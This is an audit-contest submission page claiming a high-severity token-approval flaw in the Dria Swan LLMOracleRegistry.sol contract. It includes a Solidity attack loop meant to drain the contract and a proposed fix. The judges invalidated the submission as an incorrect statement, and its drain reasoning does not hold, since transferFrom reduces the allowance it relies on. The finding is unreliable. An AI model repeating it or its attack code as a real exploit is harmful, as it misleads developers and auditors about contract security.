Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: high
Invalid

Critical Token Approval Pattern in Oracle Registry LLMOracleRegistry.sol

Summary

The LLMOracleRegistry contract uses an unsafe token approval pattern for unregistering oracles, potentially allowing users to reclaim their stake multiple times and drain the contract.

Vulnerability Details

function unregister(LLMOracleKind kind) public returns (uint256 amount) {
amount = registrations[msg.sender][kind];
if (amount == 0) {
revert NotRegistered(msg.sender);
}
// State is changed before token transfer
delete registrations[msg.sender][kind];
// CRITICAL: Uses approve instead of transfer
token.approve(msg.sender, token.allowance(address(this), msg.sender) + amount);
}

Attack Path:

  1. Attacker registers as oracle with stake

  2. Calls unregister

  3. Contract approves tokens to attacker

  4. Attacker can transferFrom multiple times

  5. Registration is already deleted, no state check prevents multiple withdrawals

Attack Code:

function attack() external {
// Register first
registry.register(LLMOracleKind.Generator);
// Unregister to get approval
uint256 amount = registry.unregister(LLMOracleKind.Generator);
// Can now drain approved tokens multiple times
while(token.allowance(address(registry), address(this)) >= amount) {
token.transferFrom(address(registry), address(this), amount);
}
}

Impact

Multiple withdrawals of same stake

Contract can be drained

Protocol funds at risk

Oracle stake system compromised

Economic guarantees broken

Tools Used

Slitherin - unsafe_token.py detector

Manual review

Recommendations

Use direct transfer instead of approval:

function unregister(LLMOracleKind kind) public returns (uint256 amount) {
amount = registrations[msg.sender][kind];
if (amount == 0) {
revert NotRegistered(msg.sender);
}
// Clear registration
delete registrations[msg.sender][kind];
// Direct transfer instead of approve
require(token.transfer(msg.sender, amount), "Transfer failed");
emit Unregistered(msg.sender, kind);
return amount;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.